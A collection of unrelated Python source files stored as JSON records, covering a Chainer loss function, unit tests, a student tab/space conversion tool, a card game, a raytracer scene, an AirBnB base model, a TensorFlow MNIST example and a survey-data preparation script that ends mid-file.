+{"seq_id":"39869610","text":"import chainer\r\nimport chainer.functions as F\r\nfrom chainer import reporter\r\nimport cupy as cp\r\n\r\nclass HierarchicalLoss(chainer.Chain):\r\n def __init__(self, model, keep_inference=False, observer=None):\r\n self.keep_inference = keep_inference\r\n self.observer = self if observer is None else observer\r\n super().__init__(model=model)\r\n\r\n def forward(self, x, t):\r\n hierarchical_losses = {}\r\n\r\n y, hy = self.model(x, save_hierarchy=True)\r\n loss = F.softmax_cross_entropy(y, t)\r\n loss_final = loss\r\n\r\n # Save current inference\r\n if self.keep_inference:\r\n self.y = y\r\n self.hy = hy\r\n\r\n hy = sorted(hy.items(), key=lambda x: x[0], reverse=True)\r\n dt = F.expand_dims(chainer.Variable(t.astype(cp.float32)), axis=1)\r\n for level, volume in hy:\r\n dt = F.max_pooling_3d(dt, ksize=2, stride=2)\r\n hl = F.softmax_cross_entropy(\r\n volume,\r\n chainer.Variable(dt[:, 0, ...].data.astype(cp.int32))\r\n )\r\n hierarchical_losses[level] = hl\r\n loss += hl\r\n\r\n # Report losses\r\n metrics = {'loss_l{}'.format(k):v for k, v in hierarchical_losses.items()}\r\n metrics['loss_l{}'.format(max(hierarchical_losses) + 1)] = loss_final\r\n metrics['loss'] = loss\r\n reporter.report(metrics, self.observer)\r\n\r\n return loss\r\n\r\n","sub_path":"hierarchical_loss.py","file_name":"hierarchical_loss.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"286683170","text":"import unittest\nfrom core.object.concrete.FirstAPICallObject import FirstAPICallObject\n\n\nclass APIObjectTest(unittest.TestCase):\n \"\"\"\n Tests the APIObject that is in charge to make and save the information of the requests\n \"\"\"\n def setUp(self):\n self.api_call_object = FirstAPICallObject()\n\n def test_features(self):\n \"\"\"\n Function for test the health insurance API when is receiving information and processing correctly\n :param self:\n :return:\n \"\"\"\n self.assertIsInstance(self.api_call_object.result, dict,\n \" The format of the result changed on the APIObject\")\n self.assertIsInstance(self.api_call_object.method, str,\n \" The format of the method changed on the APIObject\")\n self.assertIsInstance(self.api_call_object.domain, str,\n \" The format of the domain changed on the APIObject\")\n self.assertListEqual([*self.api_call_object.result], [\"deductible\", \"stop_loss\", \"oop_max\"])\n\n def test_assign_features(self):\n \"\"\"\n Function for test the health insurance API when is receiving information and processing correctly\n :param self:\n :return:\n \"\"\"\n domain = \"three-algo\"\n method = \"api1\"\n api1_response = {\n 'deductible': 1000,\n 'stop_loss': 10000,\n 'oop_max': 5000\n }\n self.api_call_object.assign_features(domain, method, {})\n self.assertIsInstance(self.api_call_object.result, dict,\n \" The format of the result changed on the APIObject\")\n self.assertIsInstance(self.api_call_object.method, str,\n \" The format of the method changed on the APIObject\")\n self.assertIsInstance(self.api_call_object.domain, str,\n \" The format of the domain changed on the APIObject\")\n self.assertListEqual([*self.api_call_object.result], [\"deductible\", \"stop_loss\", \"oop_max\"],\n \"The API returned not the expected format\")\n self.assertEqual(self.api_call_object.method, method, \"The method changed the value of the method\")\n self.assertEqual(self.api_call_object.domain, domain, \"The method changed the value of the domain\")\n self.assertDictEqual(self.api_call_object.result, api1_response, \"The API suffer some changes internally\")","sub_path":"main/tests/test_core/FirstAPICallObjectCreatorTest.py","file_name":"FirstAPICallObjectCreatorTest.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"460099130","text":"\"\"\"\nHEADER: Indentation and Space Reader by Lars Hedlund\nFeatures: (1) Input from file (2) -T evalutes correctly (3) Error reporting works\n(4) System arguments evaluate correctly (5) +t evaulates correctly (6) -t evaluates\ncorrectly (7) +v evaluates correctly (8)\nBugs: -v doesn't work as expected, bug in -T3 with 'tssss' (does not produce tts)\nVersion: 0.8\n\"\"\"\nimport sys\n\n# Global Constants\nEOF = chr(4) # A standard End-Of-File character\n\nTAB_CHAR = chr(187) # A \">>\" character in the extended ascii set\n # Used to make a tab character visible.\nSPACE_CHAR = chr(183) # A raised dot character in the extended ascii set\n # Used to make a space character visible\nNEWLINE_CHAR = chr(182) # A backwards P character in the extended ascii set\n # Used to make a newline character visible\nRATIO_DEFAULT = 4 # The default space-to-tab ratio\n\n# Main functions\ndef getInput():\n \"\"\"\n (F)unction: If this input encounters an EOF it returns the EOF constant\n rather than an error.\n (I)nput: None\n (R)eturn: string or EOF\n \"\"\"\n try:\n ret = input()\n except EOFError:\n ret = EOF\n return ret\n\ndef upper_t(arg):\n \"\"\"\n (F)unction: Takes a user's provided argument for T and checks for correct\n values. If correct, returns the space-to-tab ratio. If incorrect, returns\n an error.\n (I)nput: string\n (R)eturn: string, integer\n \"\"\"\n ratio = 4 # space to tab ratio\n if (\".\" in arg): # checks for a floating point number\n return ratio, error(\"TF\", arg) + '\\n'\n elif (len(arg) == 2): # checks for a number after T\n return RATIO_DEFAULT, \"\"\n elif 2 <= int(arg[2]) <= 8: # checks that integer is within defined range\n ratio = int(arg[2])\n return ratio, \"\"\n elif (int(arg[2]) > 8) or (int(arg[2]) < 2): # check if out of range\n return ratio, error(\"TI\", arg) + '\\n'\n else:\n return ratio, error(\"Runtime\", None) + '\\n'\n\ndef positive_t(line, ratio): # bug fixed\n \"\"\"\n (F)unction: positive t replaces prefix sequences of spaces of length T\n with a single tab.\n (I)nput: string, integer\n (R)eturn: string\n \"\"\"\n lead_len = len(line) - len(line.lstrip())\n lead_line = line[0:lead_len]\n tab_length = chr(32) * ratio\n tabbed_line = str()\n new_line = str()\n trailing_sp = str()\n\n # checks to see if the line is long enough to replace\n if chr(9) in lead_line: # if the line is long enough, look for a tab to preserve trailing spaces\n trailing_sp = lead_line[len(lead_line.rstrip(chr(32))):lead_len] # preserved spaces\n lead_line = lead_line.replace(tab_length, chr(9)) # first replace the spaces with tabs\n for ch in lead_line: #then, to remove internal spaces, create only tabs\n if ch == chr(9):\n tabbed_line += ch\n if trailing_sp >= tab_length: # if the trailing spaces and ratio are the same, they would have already been converted\n line = tabbed_line + line.lstrip()\n return line\n else:\n line = tabbed_line + trailing_sp + line.lstrip() # if they weren't converted to tabs, add back.\n return line\n else: # if there is no tab, just convert the line and return it\n if lead_len < len(tab_length): # if the leading space isn't long enough to convert, return it\n return line\n else:\n new_line = lead_line.replace(tab_length, chr(9)) # if the leading space is long enough, apply changes\n line = new_line + line.lstrip()\n return line\n\ndef negative_t(line, ratio):\n \"\"\"\n (F)unction: negative t replaces prefix tabs with sequences of T spaces.\n (I)nput: string, integer\n (R)eturn: string\n \"\"\"\n count = 0 # initialize count\n lead_len = len(line) - len(line.lstrip()) # length of leading space\n lead_line = line[0:lead_len] # splice of leading space\n tab_length = chr(32) * ratio # length of tabs\n new_line = str() # initialize new line\n trailing_sp = str() # initialize trailing space\n\n # check to see if there is a tab\n if chr(9) not in lead_line:\n # if there isn't a tab, return the line\n return line\n else:\n # if there is a tab, loop through the line\n for ch in lead_line:\n if ch == chr(32): # if the character is a space, update count\n count += 1\n # if the character is a tab and the count is less than the length of a single tab\n elif (ch == chr(9)) and (count < len(tab_length)):\n # incorporate the spaces into the tab\n new_line += tab_length\n # reset count\n count = 0\n elif (ch == chr(9)) and (count >= len(tab_length)): # if the character is a tab and the count is greater than the length of the tab\n new_line += (chr(32) * count) + tab_length # add the spaces and the tab together.\n count = 0 # reset the count\n else:\n return error(\"Runtime\", None)\n trailing_sp = chr(32) * count # if there are any remaining spaces after the last tab (i.e. count != 0), add them.\n line = new_line + trailing_sp + line.lstrip() # create the new line\n return line\n\ndef positive_v(line):\n \"\"\"\n (F)unction:\n (I)nput:\n (R)eturn:\n \"\"\"\n new_line = \"\"\n if line != EOF:# check to see if the line is at the end of the file\n for ch in line: # loop through characters\n if ch == chr(32):\n new_line += SPACE_CHAR # replace spaces with a raised dot\n elif ch == chr(9):\n new_line += TAB_CHAR + chr(9) # replace tabs with '>>' and a tab to preserve formatting\n else:\n new_line += ch # add any additional characters\n line = new_line.rstrip() + NEWLINE_CHAR + '\\n' # replaces the end of the line with the paragraph cahracter and adds \\n to preserve format\n return line\n else:\n return line\n\ndef negative_v(line):\n \"\"\"\n (F)unction:\n (I)nput:\n (R)eturn:\n \"\"\"\n new_line = \"\"\n if line != EOF: #check to see if the line is at the end of the file\n for ch in line:\n if ch == SPACE_CHAR: # replaces the raised dot with spaces\n new_line += chr(32)\n elif ch == TAB_CHAR: # does not add a tab to the new line since a tab was added in +v\n pass\n elif ch == NEWLINE_CHAR: # does not add a \\n since \\n was added in +v\n pass\n else:\n new_line += ch # adds all other characters\n return line\n else:\n return line\n\ndef help_text():\n \"\"\"\n (F)unction:\n (I)nput:\n (R)eturn:\n \"\"\"\n print(\"\"\"\n==HELP DOCUMENT==\nIndentation and Space Reader\n\n==INSTRUCTIONS==\nThis program takes an argument using the command line and applies the corresponding\nchanges to the input document. The commands and changes are as follows:\n------------------------------------------------------------------------------\nCOMMAND CHANGE\n------------------------------------------------------------------------------\n+t -replaces prefix sequences of spaces of length T with a single tab\n-t -replaces prefix tabs with sequences of T spaces\n-T -the defines the space-to-tab ratio, T (default=4)\n+v -changes all spaces, tabs, and newlines to printable characters\n-v -reverses the changes made by +v\n-help -prints out help text if -help is the only argument\n------------------------------------------------------------------------------\nPlease note that the following arguments cannot be used together:\n+t and -t cannot be passed as arguments together\n+v and -v cannot be passed as arguments together\n\n==EXAMPLE==\nA typical input using Terminal or Powershell should look like the following:\n------------------------------------------------------------------------------\nPYTHON PROGRAM NAME COMMANDS INPUT FILE OUPUT FILE\n------------------------------------------------------------------------------\npython program_name.py +t +v -T6 < test_input.txt > test_output.txt\n------------------------------------------------------------------------------\nTo break down what each part does, PYTHON is the Terminal or Powershell command\nto run python. PROGRAM NAME is the name of the program being run. COMMANDS are\nthe commands you wish to run and apply to the file; in this case +t, +v and -T6.\nINPUT FILE is directed to the program using \"<\" and the file name you want to\nchange. OUTPUT FILE saves the changes to an existing file, or new file, of your\nchoice. Please note that if you do not provide an OUTPUT FILE, the changes will\nbe printed to the screen but not saved.\n\n==ADDITIONAL NOTES==\nIf you apply +t and +v to a file, and then apply -t and -v to the resulting\noutput, they should produce visually identical files.\n \"\"\")\n exit(0)\n\ndef error(error_code, user_input):\n \"\"\"\n (F)unction:\n (I)nput:\n (R)eturn:\n \"\"\"\n # each code represents a different error code\n if error_code == \"TF\":\n return \"The -T qualifier must be immediately followed by an integer: %s\" % user_input\n elif error_code == \"TI\":\n return \"Tab sizes greater than 8 or less than 2 are not allowed: %s\" % user_input\n elif error_code == \"BT\":\n return \"Qualifiers +t and -t cannot both be used together.\"\n elif error_code == \"BV\":\n return \"Qualifiers +v and -v cannot both be used together.\"\n elif error_code == \"UA\":\n return \"Unrecognized Argument: %s\" % user_input\n elif error_code == \"HP\":\n return \"-help was not the only argument passed.\"\n else:\n return \"Major Runtime Exception Occurred. Program will now stop.\"\n exit(0)\n\ndef main():\n error_report = \"\" # blank error report\n valid_help = \"-help\"\n ratio = RATIO_DEFAULT # sets ratio default = 4\n\n print(sys.argv)\n # looks for incompatible arguments first, if encountered, writes errors\n if (\"-t\" in sys.argv) and (\"+t\" in sys.argv):\n error_report += error(\"BT\", None) + '\\n'\n if (\"-v\" in sys.argv) and (\"+v\" in sys.argv):\n error_report += error(\"BV\", None) + '\\n'\n # looks for -help as the only argument\n if (len(sys.argv) == 2):\n for arg in sys.argv:\n if arg.upper() == \"-HELP\":\n help_text()\n else:\n break\n else:\n pass\n # starts looping through the file and applying conditions as encountered\n line = getInput()\n while (line != EOF):\n line = getInput()\n for arg in sys.argv:\n if arg in sys.argv[0]: # skips first argument\n pass\n elif (\"-T\" in arg):\n ratio, error_report = upper_t(arg)\n elif (arg == \"-v\"):\n line = negative_v(line)\n elif (arg == \"-t\"):\n line = negative_t(line, ratio)\n elif (arg == \"+t\"):\n line = positive_t(line, ratio)\n elif (arg == \"+v\"):\n line = positive_v(line)\n elif (len(sys.argv) <= 1): # if the file is the only argument\n print(line) # copy input to output\n else:\n error_report += error(\"UA\", arg) + '\\n'\n # checks whether or not an error was encountered\n # if an error occurred, prints all errors and exits program\n if error_report != \"\":\n print(\"The following errors have occurred:\")\n print(error_report)\n print(\"\"\"\n------------------------------------------------------------------------------\nCOMMAND CHANGE\n------------------------------------------------------------------------------\n+t -replaces prefix sequences of spaces of length T with a single tab\n-t -replaces prefix tabs with sequences of T spaces\n-T -the defines the space-to-tab ratio, T (default=4)\n+v -changes all spaces, tabs, and newlines to printable characters\n-v -reverses the changes made by +v\n-help -prints out help text if -help is the only argument\n------------------------------------------------------------------------------\nPlease note that the following arguments cannot be used together:\n+t and -t cannot be passed as arguments together\n+v and -v cannot be passed as arguments together\n \"\"\")\n exit(0)\n # if an error did not occur, prints each line with changes made\n else:\n print(\"%r\" % line)\n\nmain()\n","sub_path":"course-assignments/full3/full3_v08.py","file_name":"full3_v08.py","file_ext":"py","file_size_in_byte":12571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"277955586","text":"\"\"\"\nGame functions for Up and Down the River - coordinates gameplay events\n\"\"\"\nimport sys\nimport pygame\nimport time\nfrom pygame.sprite import Group\nfrom random import randint\nfrom card import Card\nfrom player import Player\nimport screen_functions as sf\nimport computer_functions as cf\n\n\ndef deal_round(settings, screen, table, active_players, pile, message, deck, curr_deck, curr_round):\n \"\"\"\n Deals cards to every player, total cards equals the current round.\n Cards are dealt to the left of the dealer and continually removed from the Deck\n object\n \"\"\"\n\n deck.dealt = False #Boolean to activate deal function\n\n while not deck.dealt:\n message.update_message(\"Click the deck to deal!\", 0)\n sf.update_screen(settings, screen, table, active_players, pile, None, message, deck)\n sf.check_for_deal(settings, screen, deck)\n\n #Deal out cards (number based on current round) to each player\n counter = curr_round\n while counter > 0:\n for i in range(0, len(active_players)):\n idx = randint(0, len(curr_deck)-1)\n active_players[i].hand.add(curr_deck[idx])\n curr_deck.pop(idx)\n counter -= 1\n\ndef get_trick(curr_deck):\n \"\"\"Returns random card from remaining deck to be the trick\"\"\"\n\n return curr_deck[randint(0, len(curr_deck)-1)]\n\ndef bid_round(settings, screen, table, curr_round, active_players, pile, trick_card, message, deck):\n \"\"\"\n Cycles through each player to determine number of cards they wish to bid for the current round.\n \"\"\"\n\n #check to see if any player has the joker, if so, set suit to be trick_suit\n check_joker(active_players, trick_card.suit)\n\n #Show user controlled player's hand\n sf.show_user_cards(active_players)\n\n #Show the trick card\n trick_card.flip_card()\n\n #Sets order of bidding, dealer is last\n active_players.append(active_players.pop(0))\n\n #main loop to continue through until all bids have been validated\n for player in active_players:\n\n #sets player's turn status to active\n player.turn_active = True\n message.update_message(player.name + \", it's your bid!\", 0)\n\n if not player.user_control:\n while player.turn_active:\n #for any computer controlled player, gets their bid, pauses for turn\n sf.update_screen(settings, screen, table, active_players, pile, trick_card, message, deck)\n cf.bid(settings, player, trick_card, active_players, curr_round)\n sf.player_pause(settings, screen, player)\n else:\n while player.turn_active:\n #prompt for user controlled player to bid\n sf.update_screen(settings, screen, table, active_players, pile, trick_card, message, deck)\n sf.check_bids(settings, screen, table, player, pile, curr_round, message)\n\ndef play_round(settings, screen, table, curr_round, active_players, pile, trick_card, message, deck):\n \"\"\"Plays the round based on current number of cards and trick.\"\"\"\n\n #will loop until each player has played all cards\n count = 0\n while count < curr_round:\n\n #Prompts player to play after showing hand\n for player in active_players:\n player.turn_active = True\n message.update_message(player.name + \", it's your turn!\", 0)\n\n #For each turn checks to see if a player has only tricks, if so, they can lead with a trick\n check_for_only_tricks(player, trick_card.suit)\n\n if not player.user_control:\n while player.turn_active:\n #Loop for computer controlled players\n sf.update_screen(settings, screen, table, active_players, pile, trick_card, message, deck)\n cf.play(settings, screen, player, trick_card, pile, curr_round, active_players)\n sf.player_pause(settings, screen, player)\n else:\n while player.turn_active:\n #prompt for user controlled play\n sf.update_screen(settings, screen, table, active_players, pile, trick_card, message, deck)\n sf.check_play(settings, screen, table, player, pile, trick_card, curr_round, message)\n\n #Resets any card that may have been selected\n for card in player.hand:\n if card.selected:\n card.deselect_card()\n\n #After a given hand, check to see if the trick was broken. If so, the next hand can be led with trick\n check_for_trick_broken(pile, trick_card)\n\n count += 1\n\n #Passes the whole turn into trick determining function\n trick_winner(settings, screen, table, active_players, pile, trick_card, message, deck)\n\n #Clears out the discard pile\n clear_discards(pile)\n\n #tally up points, reset bids/tricks/order\n score_round(active_players)\n clear_bids_tricks(active_players)\n trick_card.trick_broken = False\n set_dealer(active_players)\n\ndef trick_winner(settings, screen, table, active_players, pile, trick_card, message, deck):\n \"\"\"Determines trick winner by passing all played hands and trick suit\"\"\"\n\n #Need a false bool for each hand, even if trick broken, one may have not been played\n trick_played = False\n\n max_value = 0\n\n round_hand = pile.discards.sprites()\n\n #Goes through all cards to determine if a trick was played\n for card in pile.discards:\n if (card.suit == trick_card.suit):\n trick_played = True\n trick_suit = trick_card.suit\n\n #If no trick is played, set trick suit to the first card played\n if not trick_played:\n trick_suit = round_hand[0].suit\n\n #Max value set for player playing highest value of trick suit\n for card in round_hand:\n if (card.suit == trick_suit):\n if (card.value > max_value):\n max_value = card.value\n winning_card = card #only one winning card, played id will determine winner\n\n #Increments number of tricks won for round winner\n for player in active_players:\n if player.id == winning_card.played_id:\n player.turn_active = True\n player.curr_round_tricks += 1\n message.update_message(player.name + \" wins the hand!\", 0)\n\n #Pauses the screen to show hand winner and scores\n while player.turn_active:\n sf.update_screen(settings, screen, table, active_players, pile, trick_card, message, deck)\n sf.player_pause(settings, screen, player)\n\n\n #Need to re-sort list based on winner, winner starts the next hand\n while active_players[0].id != winning_card.played_id:\n active_players.append(active_players.pop(0))\n\ndef clear_discards(pile):\n \"\"\"Clears out the discard pile, resets each cards played_id as well\"\"\"\n\n for card in pile.discards:\n card.played_id = int()\n pile.discards.remove(card)\n\ndef score_round(active_players):\n \"\"\"\n Simple determination of scores based on tricks taken and bid\n \"\"\"\n\n #10 points for making total bid, plus bonus point for each bid\n for player in active_players:\n if player.bid == player.curr_round_tricks:\n player.score += (10 + player.bid)\n\ndef clear_bids_tricks(active_players):\n \"\"\"\n Clears bids and tricks taken items in each player before a new hand commences\n \"\"\"\n\n for player in active_players:\n player.bid = 0\n player.curr_round_tricks = 0\n player.has_only_tricks = False\n\ndef set_dealer(active_players):\n \"\"\"Called at the end of each hand, resorts the list so the next player is assigned dealer.\n This player will subsequently be popped to the end during bidding round\n \"\"\"\n\n #will cycle through until original dealer is in position 0\n while active_players[0].dealer != True:\n active_players.append(active_players.pop(0))\n\n #sets original dealer to False and pops to the end of array\n active_players[0].dealer = False\n active_players.append(active_players.pop(0))\n\n #next player in line set to dealer\n active_players[0].dealer = True\n\ndef check_joker(active_players, trick_suit):\n \"\"\"\n Checked to begin each hand, if a player has the joker, set it's suit to trick suit\n \"\"\"\n\n for player in active_players:\n for card in player.hand:\n if card.display == \"JK\":\n card.suit = trick_suit\n\ndef check_for_only_tricks(player, trick_suit):\n \"\"\"\n Called prior to every play, if the player only has tricks, they can play one to start\n \"\"\"\n\n for card in player.hand:\n if (trick_suit == card.suit):\n player.has_only_tricks = True\n else:\n player.has_only_tricks = False\n break #kill loop early, if one card is not trick, no need to check others\n\ndef check_for_trick_broken(pile, trick_card):\n \"\"\"\n Called prior to every play, if the player only has tricks, they can play one to start\n \"\"\"\n\n for hand in pile.discards:\n if (hand.suit == trick_card.suit):\n trick_card.trick_broken = True\n break\n","sub_path":"src/game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":9115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"53018196","text":"import os\nimport glob\nimport torch\nimport pickle\nimport argparse\nfrom preprocessing import *\n\n##### args #####\nparser = argparse.ArgumentParser(description='Sequence to Sequence Model by using Pytorch')\n\nparser.add_argument('--max_article_len', type=int, default=400,\n help='max article length')\nparser.add_argument('--max_summary_len', type=int, default=100,\n help='max summary length')\nparser.add_argument('--mode', type=str, default=\"dubug\",\n help='save debug train generate')\n\nargs = parser.parse_args()\n##### end #####\n\nvocab_path = os.environ['cnn_vocab50000']\npreprocess = Preprocess(args.max_article_len, args.max_summary_len)\n\nsource_dict = preprocess.getVocab(vocab_path)\ntarget_dict = preprocess.getVocab(vocab_path)\n\npardir = os.environ[\"plain_data\"]\ndebug = True\nif args.mode == \"train\":\n train_src = '{}/{}'.format(pardir, \"discard_a_train.txt\")\n train_article_file = \"data/train_article.pt\"\n preprocess.save(train_src , 0, source_dict, train_article_file, debug)\n train_summary_file = \"data/train_summary.pt\"\n train_tgt = '{}/{}'.format(pardir, \"discard_s_train.txt\")\n preprocess.save(train_tgt , 1, target_dict, train_summary_file, debug)\nelif args.mode == \"val\":\n val_src = '{}/{}'.format(pardir, \"discard/fix_val_article.txt\")\n val_article_file = \"data/val_article.pt\"\n preprocess.save(val_src , 0, source_dict, val_article_file, debug)\nelif args.mode == \"test\":\n test_src = '{}/{}'.format(pardir, \"test.txt.src\")\n print(\"source data path: {} \".format(test_src))\n test_article_file = \"data/test_article.pt\"\n preprocess.save(test_src , 0, source_dict, test_article_file, debug)\n","sub_path":"hred_all_attention/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"59235987","text":"\"\"\"\nscene.\n\nDefines the Scene class.\n\"\"\"\n\nfrom functools import lru_cache, partial\n\nfrom .constants import INFINITY, INTERSECTION_TOLERANCE\nfrom .ray import Ray\n\n__all__ = [\"Scene\"]\n\nclass ObjectGroup:\n \"\"\"A group of objects and/or other ObjectGroups.\n\n Used to hold objects in a graph for more efficient intersection tests.\n \"\"\"\n\n def __init__(self, *objects):\n \"\"\"Initialise an ObjectGroup with zero or more objects/groups.\"\"\"\n self.objects = set()\n self._bounding_box = None\n for object_ in objects:\n self.add_object(object_)\n\n def __getstate__(self):\n return (self.objects, self._bounding_box)\n\n def __setstate__(self, state):\n self.objects, self._bounding_box = state\n\n def add_object(self, object_):\n \"\"\"Add an object to this ObjectGroup.\"\"\"\n self.objects.add(object_)\n if self._bounding_box is None:\n self._bounding_box = object_.bounding_box()\n else:\n self._bounding_box = self._bounding_box.combine(\n object_.bounding_box())\n\n def bounding_box(self):\n \"\"\"Return this group's bounding box.\"\"\"\n return self._bounding_box\n\n def intersection(self, ray, compute_normal=True, source_object=None):\n \"\"\"Perform an intersection test with this group.\n\n If an intersection is detected then recurse into child groups as\n necessary.\n\n Returns object, distance, normal - or None, None, None.\n \"\"\"\n distance, normal = self._bounding_box.intersection(ray, False)\n if distance is None:\n return None, None, None\n\n min_distance = INFINITY\n min_obj = None\n min_normal = None\n\n for child in self.objects:\n if isinstance(child, ObjectGroup):\n obj, distance, normal = child.intersection(ray, compute_normal,\n source_object)\n else:\n distance, normal = child.intersection(ray, compute_normal)\n obj = child\n if distance is not None and distance < min_distance:\n min_distance = distance\n min_obj = obj\n min_normal = normal\n\n if min_distance == INFINITY:\n min_distance = None\n\n return min_obj, min_distance, min_normal\n\n def print(self, indent=0):\n \"\"\"Pretty-print this ObjectGroup.\"\"\"\n print(\" \" * indent, \"Object Group\", self._bounding_box.volume())\n indent += 4\n for obj in self.objects:\n if isinstance(obj, ObjectGroup):\n obj.print(indent)\n else:\n print(\" \" * indent, type(obj).__name__,\n obj.bounding_box().volume())\n\n\nclass Scene:\n \"\"\"Scene class.\"\"\"\n\n intersect_tolerance = INTERSECTION_TOLERANCE\n\n def __init__(self):\n \"\"\"Initialise a Scene.\"\"\"\n self.lights = set()\n self.objects = set()\n self.tree = None\n\n def __getstate__(self):\n return (self.lights, self.objects, self.tree)\n\n def __setstate__(self, state):\n self.lights, self.objects, self.tree = state\n\n def intersection_old(self, ray, compute_normal=True, source_object=None):\n \"\"\"Compute the intersection of this ray with all objects in the scene.\n\n Returns the object, +ve distance along the ray, and normal of the\n point of nearest intersection.\n source_object, if given, is the source of the ray. Used to test\n for self-intersections with low distances, caused by roundoff errors.\n \"\"\"\n if self.tree is None:\n self._compute_tree()\n self.tree.print()\n\n return self.tree.intersection(ray, compute_normal, source_object)\n\n def intersection(self, ray, compute_normal=True):\n \"\"\"Compute the intersection of this ray with all objects in the scene.\n\n Returns the object, +ve distance along the ray, and normal of the\n point of nearest intersection.\n \"\"\"\n min_distance = INFINITY\n min_normal = None\n min_obj = None\n for obj in self.objects:\n distance, normal = obj.intersection(ray, compute_normal)\n if (distance is not None and distance < min_distance):\n min_distance = distance\n min_normal = normal\n min_obj = obj\n\n if min_distance == INFINITY: # No intersections\n min_distance = None\n\n return min_obj, min_distance, min_normal\n\n @lru_cache(maxsize=128)\n def is_obscured(self, source, destination): # FIXME\n \"\"\"Return True if a ray from source cannot be seen from destination.\"\"\"\n diff = destination - source\n ray = Ray(source, diff)\n _, distance, _ = self.intersection(ray, compute_normal=False)\n return (distance - diff.norm()) < self.intersect_tolerance\n\n def _compute_tree(self):\n \"\"\"Create a tree of objects for more efficient intersection tests.\"\"\"\n # No point making a tree for less than two objects\n if len(self.objects) < 2:\n return\n # Make a copy of our objects set - we will mutate this, not the\n # original\n\n objects = set(self.objects)\n\n # 1. pop a random element from objects\n # 2. find the element from the remaining objects that will give the\n # minimum volume bounding box if combined in a group.\n # 3. remove that object, combine the two into a group, add back to\n # objects\n # 4. if there is still more that one object then go to 1.\n\n def combined_volume(box1, obj2):\n box2 = obj2.bounding_box()\n return box1.combine(box2).volume()\n\n while len(objects) > 1:\n obj = objects.pop()\n best = min(objects, key=partial(combined_volume,\n obj.bounding_box()))\n objects.remove(best)\n objects.add(ObjectGroup(obj, best))\n\n self.tree = objects.pop()\n","sub_path":"raytrace/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"280072058","text":"#!/usr/bin env python3\n\"\"\"Defines all common attributes/methods for other classes\n\"\"\"\nfrom datetime import datetime\nimport uuid\nimport json\n\nclass BaseModel:\n \"\"\"Class base of project\n \"\"\"\n\n def __init__(self):\n \"\"\"Constructor\n \"\"\"\n self.id = str(uuid.uuid4())\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n\n def __str__(self):\n \"\"\"Return\n \"\"\"\n return('[{}] ({}) {}'.format(self.__class__.__name__, self.id,\n self.__dict__))\n\n def save(self):\n \"\"\"updates the public instance attribute updated_at\n with the current datetime\n \"\"\"\n self.updated_at = datetime.now()\n\n def to_dict(self):\n \"\"\"returns a dictionary containing all keys/values of __dict__\n of the instance\n \"\"\"\n d = {\n 'id': self.id,\n 'created_at': self.created_at('%Y-%m-%dT%H:%M:%S.%f'),\n 'updated_at': self.updated_at('%Y-%m-%dT%H:%M:%S.%f')\n }\n return(d)\n","sub_path":"AirBnB/models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"296002558","text":"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist=input_data.read_data_sets(\"MNIST_data/\",one_hot=True)\nprint(mnist.train.images.shape)\n\n\n#define session and variables\nsess=tf.InteractiveSession()\nx=tf.placeholder(tf.float32,[None,784])\nW=tf.Variable(tf.zeros([784,10]))\nb=tf.Variable(tf.zeros([10]))\ny=tf.nn.softmax(tf.matmul(x,W)+b)\ny_=tf.placeholder(tf.float32,[None,10])\n\n#define loss function\ncross_entropy=tf.reduce_mean(-tf.reduce_sum(y_*tf.log(y),reduction_indices=[1]))\n\n#define training methods\ntrain_step=tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\ntf.global_variables_initializer().run()\n\n#training\nfor i in range(1000):\n batch_xs,batch_ys=mnist.train.next_batch(100)\n train_step.run({x:batch_xs,y_:batch_ys})\n print('iter '+str(i)+\" , \"+'loss: '+str(cross_entropy)+'\\n')\n\n#test\ncorrect_prediction=tf.equal(tf.argmax(y,1),tf.argmax(y_,1))\naccuracy=tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\nprint(accuracy.eval({x: mnist.test.images,y_: mnist.test.labels}))\n","sub_path":"Softmax Regression based digits recognition.py","file_name":"Softmax Regression based digits recognition.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"32886453","text":"\"\"\"Prepare survey data (which has already been precleaned) so it is suitable for processing by the analysis code.\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\n\n# So we can load the prepare, survey and lib modules\nsys.path.insert(1, '.')\n\nfrom clean_scripts.cleaning import apply_actions\n\nfrom survey.sociodemography import read_anonymised_data\n\n\nDEVEXP_COL = 'soft1can. How many years of software development experience do you have?'\nSOFTPROJ_COL = 'proj1can. How many software projects are you currently involved in?'\nPREVEMP1_COL = 'prevEmp1. Where was your previous job based?'\nPREVEMP1_DE_COL = 'prevEmp1qde. Where was your previous job based?'\nCURRENTEMP2_COL = 'currentEmp2. Which university do you work for?'\n\nif not os.path.exists('data/intermediate/2022-precleaned.csv'):\n print(\"Error: please run 'clean_scripts/preclean_raw_survey.py' on raw survey data first\")\n sys.exit(1)\n\n\n# The cleaned new (2022) survey data\nfix_df = pd.read_csv('data/intermediate/2022-precleaned.csv', encoding='utf-8')\nfix_df['Year'] = 2022\n\n# The reference (2018) data to use\n# We need to assemble it from its different parts\nref_df = pd.read_csv('data/2018.csv', encoding='utf-8')\n#ref_df = ref_df.merge(read_salary('data/2018_salary.csv'), on='startdate. 